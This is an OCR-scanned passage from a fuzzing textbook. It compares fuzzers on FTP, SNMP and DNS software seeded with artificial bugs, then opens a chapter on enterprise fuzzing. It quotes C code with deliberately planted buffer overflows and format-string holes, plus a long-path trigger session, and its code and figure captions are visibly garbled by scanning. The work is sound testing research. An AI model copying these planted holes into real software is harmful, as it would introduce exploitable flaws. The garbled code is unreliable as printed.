resent both ASCII-based and binary protocols. Additionally, while FTP and SNMP
servers were tested, a DNS client was examined. In each case, in an effort to avoid
finding real bugs, a well-established and hopefully robust open source implementa-
tion was selected.

The FTP server selected was ProFTPD. This well-established server was con-
figured mostly by its default settings. Some options were modified to ensure that
the fuzzer could run very quickly against the server without the server denying

bhttps://www.ee.oulu.fi/roles/ouspg/Protos.
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connections. Other changes included ensuring an anonymous login was available,
including the ability to download and upload documents.

For SNMP, we tested the Net-SNMP server. The server was configured to accept
version 2 SNMP when presented with a suitable community string and version 3
SNMP when presented with a valid username (requiring no authentication). This
user was given read and write access. It is important to note that these configura-
tion options may have significant effect on the outcome because some fuzzers may
only be able to handle certain SNMP versions in addition to the way the code cov-
erage will obviously be affected. Of course, in the interest of fairness, the various
configurations were set before any fuzzer was examined.

Finally, for a DNS client we chose the dig utility from the BIND open-source
DNS library.

The Bugs

For each program implementation, 17 bugs were added to the applications. Of these
vulnerabilities, approximately half were buffer overflows and a fourth were format
string vulnerabilities. The remaining bugs were from other categories, such as com-
mand injection, double free, and wild pointer writes. Some of these bugs were made
easy to find and others were hidden deeper within the application. All bugs were
tested to ensure they were remotely accessible. None were detectable using the stan-
dard server or client (they weren’t THAT obvious). Each vulnerability was prefaced
with code that would log when they had been detected. Note that this means credit
may be given to a fuzzer for finding a bug even if it is likely that the fuzzer would
not have found this bug in real life. An example of this is if a fuzzer overflowed
a buffer by only one byte, the logging function would indicate the vulnerability
had been found when in reality this would be very difficult to detect (without the
monitoring described in Chapter 6, at least). On the positive side, having this log-
ging code eliminates any dependency on the type of monitoring used (custom or
that which comes with the fuzzer) and is completely accurate.
Below are several of the bugs for illustration.

8.51 FTPBugO©
MODRET xfer_type(cmd_rec *cmd) {

if (strstr(get_full_cmd(cmd), “%”)!=NULL){
BUGREPORT(0) ;
}
char tempbuf[32];
snprintf(tempbuf, 32, “%s not understood”, get_full_cmd(cmd));
pr_response_add_err(R_500, tempbuf);

Here, we see the logging code trying to detect the use of the format identifier
‘%’. This bug occurs because the function pr_response_add_err is a function that
expects a format string for its second argument. In this case, the processing of the
XFER command contains a straightforward format string vulnerability.
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8.5.2 FTP Bugs 2, 16
MODRET xfer_stru(cmd_rec *cmd) {

cmd->argv[11[0] = toupper(cmd->argv[11[0]);
switch ((int) cmd->argv[11[0]) {

case ‘R’:
case ‘P’:
{
char tempbuf[647;
if(strlen(get_full_cmd(cmd)) > 34){
BUGREPORT(16);
}
if(strstr(get_full_cmd(cmd), “%”)!=NULL){
BUGREPORT(2);
}
sprintf(tempbuf, “’%s’ unsupported structure type.”,
get_full_cmd(cmd));
pr_response_add_err(R_504, tempbuf);
return ERROR(cmd);
}

Here, a buffer overflow and a format string issue exist in the processing of the
STRU FTP command. However, it is only possible to find this if the first character
of the string is ‘R’ or ‘P.” These two bugs proved difficult for the fuzzers to find—
more on this later in Section 8.7.1.

These code snippets illustrate some example bugs that were added to the appli-
cations. As will be seen in the next section, some of these bugs were easier to find
than others for the fuzzers. After each comparison, some of the bugs that proved
decisive will be examined closer.

Results

After all this setup about the bugs and the fuzzers, it remains to be seen how the
fuzzers did in this testing. Below we list which bugs each fuzzer found and how
much code coverage they obtained. The following abbreviations will be used in
the results:

» Random. This is purely random data fed into the interface. For fuzzing serv-
ers, this data was obtained with the “-R” option of GPF. For fuzzing clients, a
custom server that sent random data was used. This is mostly included for code
coverage comparison as it would not be expected to find any vulnerabilities.

* GPF Partial. This is GPF used with only a partial packet capture. For FTP
fuzzing, we used two initial inputs to GPF and TAOF. The first was a packet
capture consisting of most common FTP operations, including login, pass-
word, directory changing, and uploading and downloading files. GPF Partial
refers to this packet capture for the initial input.
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* GPF Full. This is GPF as described above except the packet capture used
contained every FTP command that ProFTPD accepted, according to its help
message. This is a more full and complete initial input. In both cases, GPF
was used with the ASCII tokAid.

* SuperGPF. This refers to SuperGPF using the full packet capture described
above along with a text file containing all valid FTP commands.

« TAOF Partial. TAOF with the partial packet capture described above.

« TAOF Full. TAOF with the full packet capture described above.

» ProxyFuzz Partial. ProxyFuzz with the partial packet capture available
for modification

* ProxyFuzz Full. ProxyFuzz with the full packet capture available.

« GPF Generic. GPF used with a generic binary tokAid.

* GPF SNMP. GPF used with a custom written SNMP tok Aid.

Throughout all the testing, generation-based fuzzers were allowed to run through
all their test cases. Mutation-based fuzzers were allowed to run for 25,000 test cases
or seven hours, whichever came first. While this time period is somewhat arbitrary,
it was consistent with the amount of time required by most generation-based fuzzers.

8.6.1 FTP

Table 8.1 summarizes the bugs found while fuzzing the FTP server.

Figure 8.1 shows the percentage of bugs found as well as the total percentage of
code coverage obtained by each of the fuzzers. For this particular application, the
code coverage represents the percentage of source code lines executed after authen-
tication. This explains why the random fuzzer received 0% code coverage, since
it never successfully authenticated. For the other applications, the code coverage
statistics include the authentication code.

Detailed analysis of these numbers will follow the presentation of the results
for the three applications.

Table 8.1 Results of Fuzzing the FTP Server

Bug 0 1 3 4 5 9 11 12 13 14 15 16
GPF Random

GPF Partial X X X

GPF Full X X X X X

Super GPF X X X X X X

TAOQF Partial

TAQOF Full X X X
ProxyFuzz Partial

ProxyFuzz Full X X X
Mu-4000 X X X X X
FTPfuzz X X X X
Codenomicon X X X X X X
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Figure 8.1 The steps in a fuzzing life cycle.

8.6.2 SNMP

Table 8.2 displays the results of the fuzzing against the SNMP server. Note that
SuperGPF could not be used since it only works on ASCII protocols.

These results, as well as the amount of code coverage obtained, are summarized
in the Figure 8.2:

Table 8.2 Results of Fuzzing the SNMP Server

Bug o 1 2 3 4 5 6 9 10 11 12 13 14 15 16
GPFRandom
GPF Generic X X X X X X X
GPF SNMP X X X X X X X X X
ProxyFuzz X X X X X X
Mu-4000 X X X X X X X X X X X X
PROTOS X X X X X X X
Codenomicon X X X X X X X X X X X X
beSTORM X X X X X X
0o 10 20 a0 40 a0
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GPF Partial
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hU-4000
FTPFuzz
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Figure 8.2 Percentage of bugs found and code coverage obtained by fuzzers on FTP server.
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8.6.3 DNS

Table 8.3 again lists which bugs were found by which fuzzers.

Note that the Mu-4000 fuzzer does not fuzz client-side applications and so
is excluded from this testing. Figure 8.3 summarizes the results and lists the code
coverage obtained by each fuzzer.

A Closer Look at the Results

Some of the results of the testing are surprising, and some aren’t so surprising. First,
let’s look at which bugs were found by which fuzzers. Quite a few bugs were found
by all the fuzzers; there were also bugs that were found by only one fuzzer. We’ll
take a closer look at why various bugs were found or missed in a bit. First, let’s try
to draw some general conclusions from the data.

Table 8.3 Results of Fuzzing the DNS Client

Bug 0 1 2 3 4 5 7 8 11 12 13 14 15
GPF Random

GPF Generic X X X X
ProxyFuzz X X X X X X X X X

Codenomicon X X X X X X X X X X
beSTORM X

0000 10.000 20000 30.000 40000 50.000 60000 70.000 80.000
B % Bugs found m% Code coverage
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GPF Generic
GFF ShMP

FProxyFuzz

bAL-24000
FROTOS
Codenomicon

beSTORM

Figure 8.3 Percentage of bugs found and code coverage obtained by fuzzers against the SNMP
server.
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8.71 FTP

Let’s take a look at some of the more prominent anomalies in the data. The first
appears in the testing of FTP. Here are some bugs of interest.

» Bugs 9, 12, and 13 were found by GPF but no other fuzzers.

 Bugs 14 and 16 were found by TAOF and ProxyFuzz but no other fuzzers.

 Bugs 4, 5, and 15 were found by the generational-based fuzzers, but not the
mutation-based ones.

Let’s take a closer look at some of these bugs. Bug 9 is a format string vulnerabil-
ity in the SIZE FTP verb (remember that pr_response_add_err() acts as a printf
like function).

MODRET core_size(cmd_rec *cmd) {

if (lpath || !dir_check(cmd->tmp_pool, cmd->argv[0],

cmd->group,
path, NULL) || pr_fsio_stat(path, &sbuf) == -1) {

char tempbufl[647;
if(strstr(cmd->arg, “%7)){
BUGREPORT(9) ;

}
strncpy(tempbuf, cmd->arg, 64);
strncat(tempbuf, “: *, 64);
strncat(tempbuf, strerror(errno), 64);
pr_response_add_err(R_550, tempbuf);

None of the generational-based fuzzers ever execute the size verb, probably because
it is not in the protocol specification (RFC 959). Since TAOF and ProxyFuzz were
working off the same packet capture, they should have also found this bug. It is
likely that ProxyFuzz just wasn’t run long enough to find it. Likewise, bugs 12 and
13 are in the EPSV command, which again is not in the RFC.

Next, we examine bug 16, which TAOF and ProxyFuzz managed to find, but none
of the other fuzzers did. This bug was a format string bug in the EPRT command,

MODRET core_eprt(cmd_rec *cmd) {
char delim = “\0’, *argstr = pstrdup(cmd->tmp_pool,
cmd->argv[1]);

/* Format is <d>proto<d>ip address<d>port<d> (ASCII in
network order),

* where <d> is an arbitrary delimiter character.

*/

delim = *argstr++;

while (isdigit((unsigned char) *argstr))
argstr++;
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if (*argstr == delim)
argstr++;

if ((tmp = strchr(argstr, delim)) == NULL) f{
pr_log_debug(DEBUG3, “badly formatted EPRT argument: ‘%s’”,
cmd>argvli1]);
char tempbuf[647;
if(strstr(emd->argvl[1], “%”)!=NULL)!
BUGREPORT(16);
}
snprintf(tempbuf, 64, “badly formatted EPRT argument: ‘%s’”,
cmd->argvl1]);
pr_response_add_err(R_501, tempbuf);
return ERROR(cmd);
}

To activate this bug, you need to have an argument to EPRT without enough delim-
iters, and the portion of the argument after the second delimiter needs to contain a
format string specifier. Again, the generational-based fuzzers did not run the EPRT
command at all. Looking at why GPF missed the bug, the code coverage reveals
that it always included the right number of delimiters, in other words, it wasn’t
random enough!

=/

2 if (*argstr == delim)
2 : argstr++;
: else {
0: pr_response add err(R 501, "Illegal EPRT command");
0

: return ERROR{cmd);
: }

(X}

if {{tmp = strchr{argstr, delim)) == NULL) {

0 : pr_log_debug(DEBUG3, "badly £ EPRT arg : '#s'", emd->argv[1l]);
: char tempbuf[64];
0 : if (strstr(emd->argv[1], "%")!=NULL){
0= BUGREPORT(16) ;
: }
0 : snprintf(tempbuf, 64, "badly £ i EPRT arg : '#s'", emd->argv[1l]);
0 : pr_response_add_err(R_501, tempbuf);
0

L] return ERROR(cmd);
: }

/* Twiddle the string so that just the address portion will be processed
* by pr_inet_pton().
: =/
2z *tmp = '\0';

This code is taken from the Icov code coverage tool (based on gcov). The num-
ber to the left of the colon indicates the number of times the instrumented (i.e.,
real) code was executed. Executed code is highlighted lightly, missed code darkly.
Here we see that GPF never got into the error-checking clause for a badly formatted
EPRT argument and thus missed the bug. The same phenomenon occurs for bug 14.
Finally, we examine bug 4, which was only found by the generational-based fuzzers:

char *dir_canonical_path(pool *p, const char *path) {
char buf[PR_TUNABLE_PATH_MAX + 11 = {‘\0’};
char work[256 + 11 = {“\0"};
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if (*path == ‘~’) |
if(strlen(path) > 256 + 1){
BUGREPORT(4) ;
}
if (pr_fs_interpolate(path, work, strlen(path)) != 1) {
if (pr_fs_dircat(work, sizeof(work), pr_fs_getcwd(), path) <
0)
return NULL;

This bug is only activated when a long path is used that starts with the tilde char-
acter. An example session would be something like:

USER anonymous
PASS anon@anon.com
CWD ~AAAAAAAAAAAAAAAAAAA..

Looking at the code coverage from another fuzzer, say GPF, shows what happened:

70 : char *dir canonical path{pool *p, const char *path) {

70 :+ char buf[PR_TUNABLE PATH MAX + 1] = {'\0'};
70 : char work[256 + 1] = {'\0'};
70 if (*path == '~') {
0= if(strlen(path) > 256 + 1){
0= BUGREPORT(4);
: }
0 : if (pr_fs_ interpolate(path, work, strlen(path)) I= 1) {
0z if (pr_fs_dircat(work, sizeof(work), pr_fs getewd(), path) < 0)
0 : return NULL;
: }
: } else {
70 : if (pr fs dircat({work, sizeof(work), pr fs getcwd(), path) < 0)
0= return NULL;
: }
70 ' pr_fs clean path{work, buf, sizeof{buf)-1);

70 : return pstrdup{p, buf);

GPF never used a path that began with the tilde. The mutation-based (and in this
case commercial) seemed to have better heuristics on what types of anomalies to

add to the data.

8.7.2 SNMP

As in the FTP fuzzing comparison, there were a few noteworthy bugs in the SNMP
testing as well.

¢ Bugs 2 and 3 were found by GPF and the Mu-4000, but missed by PROTOS,
beSTORM, and Codenomicon Defensics.

* Bug 4 is the opposite and was found by PROTOS, beSTORM, and Code-
nomicon Defensics, but missed by all the other fuzzers.
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Both bugs 2 and 3 have to do with the secName variable:

/*
* Locate the User record.
* If the user/engine ID is unknown, report this as an error.
*/
if ((user = usm_get_user_from_list(secEnginelD, *secEnginelDLen,
secName, userlist,
(((sess && sess->isAuthoritative ==
SNMP_SESS_AUTHORITATIVE) ||
(lsess)) 70 : 1)))
== NULL) {
DEBUGMSGTL((“usm”, “Unknown User(%s)\n”, secName));
if (snmp_increment_statistic(STAT_USMSTATSUNKNOWNUSERNAMES)
== 0) |
DEBUGMSGTL((“usm”, “%s\n”, “Failed to increment
statistic.”));

do
{
char tempbufl[321;
memset (tempbuf,0,32);
strcat(tempbuf,”Unknown User: );
if (strlen(tempbuf) + strlen(secName) > 31)
{
BUGREPORT(2);
}
strcat(tempbuf,secName);
if (strstr(secName, “%”))
{
BUGREPORT(3); /* Format string */

snmp_1og(LOG_WARNING, tempbuf);
Note that the vulnerable lines are only activated if an unknown username is used.
There is a different reason each fuzzer missed this bug. beSTORM never even calls

this function, since it doesn’t support SNMP version 3, as the following snippet
from an Icov coverage report confirms:

- 2% 13/l

Codenomicon Defensics never gets to this line, it always used an unknown “engine id,”



8.7 A Closer Look at the Results 267

1L
* Locate the engine ID record.
+# If it is unknown, then either create one or note this as an error.

*/

111108 if ((sess &k (sess->isfuthoritative == SNMP_SESS_AUTHORITATIVE ||
(sess->ishuthoritative == SNMP_SESS_UNKNOWNAUTH &&
({msg_flags & SNMP_MSG FLAG RPRT BIT)})) ||
(!sess && (msg flags & SNMP_MSG FLAG_RFRT BIT))) {
111108 if (ISENGINEKNOWN(secEngineID, *secEngineIDLen) == FALSE) {
111108 DEBUGMSGTL ( ("usm", "Unknown Engine ID.\n"));
111108 if (snmp_increment_statistic(STAT_ USMSTATSUNENOWNENCINEIDS) ==

N I e

0) {

"Failed to increment statistiec."));:

111108 return SNMPERR USM UNENOWNENGINEID;

s we s we ws

}
} else {

-

!= SNMPERR_SUCCESS) {

1L
* Locate the User record.

* If the user/engine ID is unknown, report this as an error.
*/

L

H secName, userList,

Meanwhile the Mu-4000 never sent an invalid username (at this point in the pro-
gram). Again, this is an example of a fuzzer not being random enough.

fi
* Locate the User record.
* If the user/engine ID is unknown, report this as an error.
*/
if ((user = usm get_ user_ from list({secEnginelID, *secEnginelDLen,
secMame, userList,
{{({sess && sess->isAuthoritative ==
SNMP_SESS_AUTHORITATIVE) ||
{isess)) 2 0 : 1)))

2220

S me e me e me e ome e me s

== NULL) {

Bug 4 had the opposite behavior. Here is the vulnerability:

int
snmp_pdu_parse(netsnmp_pdu *pdu, u_char * data, size_t * length)
{

/*

* get header for variable-bindings sequence
*/

DEBUGDUMPSECTION(“recv”, “VarBindList”);

data = asn_parse_sequence(data, length, &type,
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(ASN_SEQUENCE | ASN_CONSTRUCTOR),
“varbinds”);
if (data == NULL)

return -1;
/*
* get each varBind sequence
*/

while ((int) *length > 0) {
switch ((short) vp->type) {

case ASN_OCTET_STR:
case ASN_IPADDRESS:
case ASN_OPAQUE:
case ASN_NSAP:
if (vp->val_len < sizeof(vp->buf)) {
vp->val.string = (u_char *) vp->buf;
} else |
vp->val.string = (u_char *) malloc(200);
if (vp->val_len > 200)
{

BUGREPORT (4) ;

asn_parse_string(var_val, &len, &vp->type, vp->val.
string,
&vp->val_len);
break;

Again, only a very specific action will trigger this bug. GPF executed this func-
tion, but didn’t get deep enough in the function to even get to the switch statement.
ProxyFuzz and the Mu-4000 both got deep enough, but did not provide a long
enough string to actually make the overflow occur. Here is the code coverage from

the Mu-4000:
LaDE Aon_urowuns
z case ASHN_NSAP:
3292 : if (vp->val_len < sizeof(vp->buf)) {
3292 vp->val.string = (u_char *) wvp->buf;
: } else {
0= vp->val.string = (u_char *) malloc(vp->val len);
3 }
3292 : if (vp->val.string == NULL) {
0= return -1;
: }
3292 asn_parse_string(var_wal, &len, &vp->type, vp->val.string,
: &vp->val_len);
3292 : break;

In this case, the code coverage report is taken on the code without the bug, but it
is still clear that vp->val_len was always smaller than sizeof(vp->buf), and this is
why the bug was never hit.
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8.73 DNS

As in the other comparison tests, for DNS, a few bugs stood out on differing ends
of the spectrum.

« DNS bugs 3 and 13 were only caught by Codenomicon Defensics.
« DNS bug 14 was the only bug caught by beSTORM.

First let’s look at bug 3, which proved difficult to find for most of the fuzzers. Here
is the code listing:

static isc_result_t
getsection(isc_buffer_t *source, dns_message_t *msg,
dns_decompress_t
*dctx,

dns_section_t sectionid, unsigned int options)

/*

Read the rdata from the wire format. Interpret the
rdata according to its actual class, even if it had a
DynDNS meta-class in the packet (unless this is a TSIG).
* Then put the meta-class back into the finished rdata.

*

S+

*

*/
rdata = newrdata(msg);

if(rdata->type == 0x06) { // SOA
char *soa=malloc(128);
if(rdata->length > 128) {
BUGREPORT(3);
}
memcpy(soa, rdata->data, rdata->length);
free(soa);

This bug is only activated if a long SOA type is encountered. Since the initial inputs
used for the mutation-based fuzzers did not contain such a type, it is not surprising
they did not find this bug. This is a case of having deficient or incomplete initial
inputs for a mutation-based fuzzer.

Now, let us consider bug 14. It was found by GPF, Codenomicon, and beSTORM.
In fact, it was the only bug discovered by beSTORM. It was not found by Proxy-
Fuzz, the generic fuzzer. Here is the bug:

isc_result_t
dns_message_parse(dns_message_t *msg, isc_buffer_t *source,
unsigned int options)



270 Fuzzer Comparison

isc_region_t r;

isc_buffer_remainingregion(source, &r);
if (r.length != 0) {
isc_log_write(dns_1lctx, ISC_LOGCATEGORY_GENERAL,
DNS_LOGMODULE_MESSAGE, ISC_LOG_DEBUG(3),
“message has %u byte(s) of trailing garbage”,
r.length);
char garbage[255];
if(r.length > 255) {
BUGREPORT(16);
}
memcpy(garbage, r.base, r.length);

This bug occurs when a large amount of unnecessary trailing data is provided.
It’s not too surprising that most fuzzers found this as it is pretty basic and doesn’t
require a detailed knowledge of the protocol. However, ProxyFuzz got to this point
in the function, but never had any trailing garbage:

2454 : isc_buffer_ remainingregion(scurece, &r);
2454 : if (r.length != 0) {

03 isc log write(dns lectx, ISC LOGCATEGORY GENERAL,
z DNS_LOGMODULE MESSAGE, ISC_LOG_DEBUG(3),
"message has %u byte(s) of trailing garbage”,
r.length);

8.8 General Conclusions

We’ve seen which fuzzers performed better than others in different circumstances.
We’ve looked at exactly which bugs proved difficult to find and which were easier.
Now, let’s try to draw some general conclusions from the data.

8.8.1 The More Fuzzers, the Better

Sometimes it is not good enough to use the best fuzzer in isolation. Observe the
interesting fact that almost always, a combination of fuzzers finds more bugs than
any single fuzzer! This data is highlighted in Figure 8.4.

In fact, running all the fuzzers found, on average, over 50% more bugs than
just running the most effective fuzzer by itself. Keep this in mind when deciding
which fuzzer(s) to use.

8.8.2 Generational-Based Approach is Superior

While the fact that more fuzzers are significantly better than any one may be sur-
prising, the fact that generational-based fuzzers find more bugs than mutation-based
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Figure 8.4 Summary of percentage of bugs found and code coverage obtained by fuzzers.

fuzzers will probably not come as a big surprise. In these three tests, the best gen-
erational-based fuzzer does over 15% better than the best mutation-based fuzzer.
The exact comparison is shown in Figure 8.5.

8.8.3 Initial Test Cases Matter

Another observation that can be made from this data is that the quality of the initial
input is important. Consider the two initial packet captures used during the FTP
testing. The data from this is summarized in Figure 8.6. While we could have guessed
this was the case, we now know exactly how important the initial test cases can be.

The difference in the number of bugs found beginning from these different
inputs is clear. For GPF, 66% more bugs were found with the full packet capture.

For the other two fuzzers, no bugs were found with the partial packet capture,
while three bugs were found with the full capture. This full packet capture took

00 02 04 06 08 10 12 14 16
m# Bugs found —all fuzzers W4 Bugs found —best fuzzer
FTP
ShiP
DMNS

Figure 8.5 Combining fuzzers finds more bugs than just using the best one.
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00 02 04 06 08 10 12 14
m# Bugs found-—mutation-based m# Bugs found—generation-based

FTP

SMMP

DNS

Figure 8.6 Generation-based fuzzers outperform mutation-based fuzzers.

advantage of knowledge of the protocol and required some up-front work. In a sense,
using the complete packet capture blurred the distinction between mutation-based
and generational-based fuzzers. In practice, such protocol-complete initial inputs
may not be feasible to obtain.

8.8.4 Protocol Knowledge Helps

Also not surprising is that the amount of information about a particular protocol
that a fuzzer understands correlates strongly with the quality of the fuzzing. Figure
8.7 shows some data taken from the SNMP fuzzing tests.

ProxyFuzz does not understand the protocol at all, it merely injects random
anomalies into valid SNMP transactions. It finds the fewest bugs. The GPF generic
tokAid attempts to dissect binary protocols based on very generic techniques. It
doesn’t understand the specifics of SNMP, but does do better than the completely
random approach offered by ProxyFuzz. The GPF fuzzer with the custom-written

00 01 02 03 04 05 06
W # Bugs found—partial capture m# Bugs found—full capture

GPF

Taof

o I

Figure 8.7 The quality of the initial test case for mutation-based fuzzers makes a big difference.



8.8

General Conclusions 273

SNMP tokAid does understand the SNMP protocol, at least with respect to the
packets captured and replayed by GPF. That is to say, it doesn’t understand SNMP
entirely, but does completely understand the packets it uses in its replay. This fuzzer
does better still. Finally, the two commercial generational-based fuzzers completely
understand every aspect of SNMP and get the best results. Beside the fact more
information means more bugs, we can see exactly how much more information (and
thus time and money) gives how many more bugs.

8.8.5 Real Bugs

Throughout this testing, the fuzzers were doing their best to find simulated bugs
added to the applications. However, it was entirely possible by the way the tests
are designed that they could uncover real bugs in these particular applications. It
turns out one of the fuzzers actually did find a real bug in one of the applications.
The Codenomicon Defensics fuzzer found a legitimate DoS vulnerability in Net-
SNMP. This bug was reported to the developers of this project, and the bug was
fixed. No other fuzzers found this real bug. Code coverage could be used to predict
this fact as the Codenomicon fuzzer obtained significantly more code coverage of
this application than the other fuzzers.

8.8.6 Does Code Coverage Predict Bug Finding

While we chose to test the fuzzers by looking at how effective they were at finding
simulated vulnerabilities, we also chose to measure them by looking at code cover-
age. One added benefit of doing this is that we now have both sets of data and can
attempt to answer the hotly debated question: Does high code coverage correlate
to finding the most bugs?

As a first approximation to answering this question, let’s look at the graphs of
code coverage versus bugs found for the three sets of data we generated (Figure 8.8).

The figures seem to indicate that there is some kind of relationship between
these two variables (which is good since they are supposed to be measuring the
same thing). With such small data sets, it is hard to draw any rigorous conclusions,
but we can still perform a simple statistical analysis based on this data. Consider
the data found for FTP. We’ll use the statistics software SYSTAT to see if there is

000 1000 2000 3000 4000 5000 60.00 70.00 80.00
W % Bugs found
FrowyFuzz
GPF Generic
GPF SMNMP

MWU-4000/Codenomicon

Figure 8.8 The more protocol information available, the more bugs found.
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a relationship between the independent variable code coverage and the dependent
variable bugs found.” The results from the analysis follow:

Dep Var: BUGS N: 11 Multiple R: 0.716 Squared multiple R: 0.512

Adjusted squared multiple R: 0.458 Standard error of estimate: 9.468

Effect Coefficient Std Error Std Coef Tolerance t P(2 Tail)

CONSTANT  -5.552 8.080 0.000 o -0.687 0.509

CC 0.921 0.300 0.716 1.000 3.074 0.013

Analysis of Variance

Source Sum-of-Squares df Mean-Square F-ratio P
Regression 847.043 1 847.043 9.449 0.013
Residual 806.813 9 89.646

What this means in English is that code coverage can be used to predict the
number of bugs found in this case. In fact, a 1% increase in code coverage increases
the percentage of bugs found by .92%. So, roughly speaking, every 1% of additional
code coverage equates to finding 1% more bugs. Furthermore, the regression coef-
ficient is significant at the .02 level. Without getting into the details, this means
that there is less than a 2% chance that the data would have been this way had the
hypothesis that code coverage correlates to the number of bugs found been incor-
rect. Thus, we can conclude that code coverage can be used to predict bugs found.
This statistical model explains approximately 46% of the variance, indicating that
other conditions exist that are not explained by the amount of code coverage alone.
Therefore, there is strong evidence that code coverage can be used to predict the
number of bugs a fuzzer will find but that other factors come into play as well.

8.8.7 How Long to Run Fuzzers with Random Elements

Generational-based fuzzers, like the commercial fuzzers tested here, are easy to run.
They already know exactly which inputs they will send and in what order. Thus, it
is pretty easy to estimate exactly how long they will run and when they will finish.
This is not the case for most mutation-based fuzzers, which contain randomness
(TAOF is an exception). Due to the fact there is randomness involved in selecting
where to place anomalies and what anomalies to use, mutation-based fuzzers could
theoretically run years and then suddenly get lucky and discover a new bug. So, the
relevant question becomes: When exactly has a fuzzer with random components run
for long enough? While we’re not in a position to answer this question directly, the
fuzzer comparison testing we’ve conducted has allowed us to collect some relevant
data that may shed light on this question. Figure 8.9 shows at what point during
the fuzzing various bugs were discovered by ProxyFuzz in the 450 minutes it was
used during DNS testing.

"Thanks to Dr. Andrea Miller from Webster University for helping with this analysis.
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Figure 8.9 These three graphs plot code coverage versus bugs found for each of the fuzzers.
Each point represents a fuzzer. The DNS graph especially shows the positive relationship.
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8.9

The thing to notice from this data is there are discrete jumps between the times
when various bugs are discovered. Three easy-to-find bugs are found in the first
three minutes of fuzzing. The next bug is not found for another 76 minutes. Like-
wise, seven bugs are discovered in the first 121 minutes. Then it took another 155
minutes to find the next one. It would be very tempting during these “lulls” to think
the fuzzer had found everything it could find and turn it off. Along these lines, the
fuzzer did not find anything in the final hour of its run. Does this mean it wouldn’t
find anything else ever, or that it was just about to find something?

8.8.8 Random Fuzzers Find Easy Bugs First

One issue not addressed thus far is which bugs are found in which order when using
a fuzzer with random components. Based on the last section, fuzzers clearly find
some bugs very quickly, and other bugs require much more time to find. Figure
8.10 shows how often each bug from the ProxyFuzz run against DNS was found.

Not surprisingly, the ones that were found quickest were also the ones discovered
the most frequently, which is shown in Figure 8.11. The last two bugs discovered
during this fuzzing run were only found once.

Summary

In this chapter, we began by discussing the various functions that different fuzzers
provide. Some fuzzers only provide fuzzed inputs and leave everything else to the
user. Others provide a variety of services besides just the inputs, including target

W Time first discovered (in minutes)

400

300

200

100

1 2 3 4 5 6 7 8 |

Figure 8.10 The graph shows the number of minutes for ProxyFuzz to find the 9 SNMP bugs it
discovered. Users who turn their fuzzer off early will miss the bugs discovered later.



8.9

Summary 277

B Number times bug discovered

300

225

150

75

1 2 3 4 5 6 7 8 9

Figure 8.11 The bugs found most quickly were also found most frequently

monitoring and reporting. We evaluated the quality of the test cases generated by
a variety of different fuzzers for this comparison. While there are different ways
to compare fuzzer’s quality, we took two approaches. First, we took three open-
source applications and added a number of security vulnerabilities to each. We then
measured how many of these bugs were found by each fuzzer. We also measured
the amount of code coverage obtained by each fuzzer. We compiled this data into
various charts and performed some analysis. We spent extra time examining those
particular bugs that only a few fuzzers could find to see what made them special.
Overall, the results were that some fuzzers did better than others, but we found
that the best practice to find the most bugs is to use a number of different fuzzers
in combination. We also found that the quality of the initial test cases is important
for mutation-based fuzzers and that the amount of protocol knowledge a fuzzer
possesses is a good indication of how well it will perform. Finally, we learned that
code coverage can be used to predict how well various fuzzers are performing. So
while we set out to find which fuzzer was best, we ended up learning a lot about
how different fuzzers work and were able to make general conclusions about fuzzing.
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Fuzzing Case Studies

In this chapter, we will describe a few common use cases for fuzzing. We will explain
our experiences with each of them, with examples drawn from real-life fuzzing
deployments. These examples combine experiences from various deployments, with
the purpose of showing you the widest usage possible in each of the scenarios. In
real deployments, organizations often choose to deploy fuzzing at a slower pace
than what we present here. We will not mention the actual organization names to
protect their anonymity.

As we have stressed in this book, fuzzing is about black-box testing and should
always be deployed according to a test plan that is built from a risk assessment.
Fuzzing is all about communication interfaces and protocols. As explained in
Chapter 1, the simplest categorization of fuzzing tools is into the following pro-
tocol domains:

« File fuzzing;

+ Web fuzzing;

+ Network fuzzing;
+ Wireless fuzzing.

Whereas a good file fuzzing framework can be efficient in finding problems in
programs that process spreadsheet documents, for example, it can be useless for
Web fuzzing. Similarly, a network fuzzer with full coverage of IP protocols will
very rarely be able to do wireless protocols due to the different transport mecha-
nisms. Due to the fact that many tools are targeted only to one of these domains,
or due to the internal prioritization, many organizations deploy fuzzing in only
one of these categories at a given time. Even inside each of these categories you will
find fuzzers that focus on different attack vectors. One fuzzer can be tailored for
graphics formats whereas, another will do more document formats but potentially
with worse test coverage. One Web fuzzer can do a great job against applications
written in Java, but may perform badly if they are written in C. Network fuzzers
can also focus on a specific domain such as VoIP or VPN fuzzing.

Therefore, before you can choose the fuzzing framework, and even before you
will do any attack vector analysis, you need to be able to identify the test targets.
A simplified categorization of fuzzing targets, for example, can be, the following;:

« Server software;
« Middleware;
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« Applications (Web, VoIP, mobile);!
+ Client software;
+ Proxy or gateway software.

Finally, you need to build the test harness, which means complementing the
chosen test tools with various tools needed for instrumenting and monitoring the
test targets and the surrounding environment. With a well-designed test harness,
you will be able to easily detect, debug, and reproduce the software vulnerabilities
found. Various tools that you may need might include

« Debuggers for all target platforms;

* Process monitoring tools;

+ Network analyzers;

« Scripting framework or a test controller.

Now, we will walk through some use cases for fuzzing, studying the above-men-
tioned categories with practical examples. We will focus on performing attack vector
analysis and will present example fuzzing results where available.

9.1 Enterprise Fuzzing

The first and most important goal in enterprise fuzzing is to test those services and
interfaces that are facing the public internet. Most often these are services built on
top of the Web (i.e., HTTP), but there are many other exposed attack vectors at any
enterprise. Those include other internet services such as email and VolIP, but also
many other, more transparent, interfaces such as Network Time Protocol (NTP)
and Domain Name Service (DNS).

After the most exposed interfaces have been examined, some enterprise users we
have worked with have indicated interest in testing internal interfaces. The internal
interfaces consist of communications conducted inside the organization that are not
exposed to the internet. Through such attack vectors, the inside users could abuse
or attack critical enterprise servers. The assessment of internal attack vectors is also
important, as studies show that a great number of attacks come from insiders.? Even
when considering a completely outside adversary, once they break into an internal
machine, their next target will be these inside interfaces.

Whatever the test target, there are at least three methods for identifying the
attack vectors that need testing;:

 Port scan from the internet;
« Run a network analyzer at various points in the network;

1As we have pointed it out several times, it is important to note that not all applications run on top of
the Web. It is definitely the most widely used application development platform, though.

2The E-Crime Watch Survey 2004, by U.S. CERT and U.S. Secret Service indicated that insiders were
responsible for 29% of attacks and 71% from outsiders. For more details on insider threats, see www.
cert.org/archive/pdf/insidercross051105.pdf.
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« Perimeter defense rule-set analysis.

A simple port scan conducted from outside the organization is the easiest to do
and will quickly reveal most of the critical open services. When combined with a
network analyzer based at several probes distributed in the enterprise network, the
results will indicate which of the tests actually went through the various perimeter
defenses of the organization. For example, some data may pass straight from an
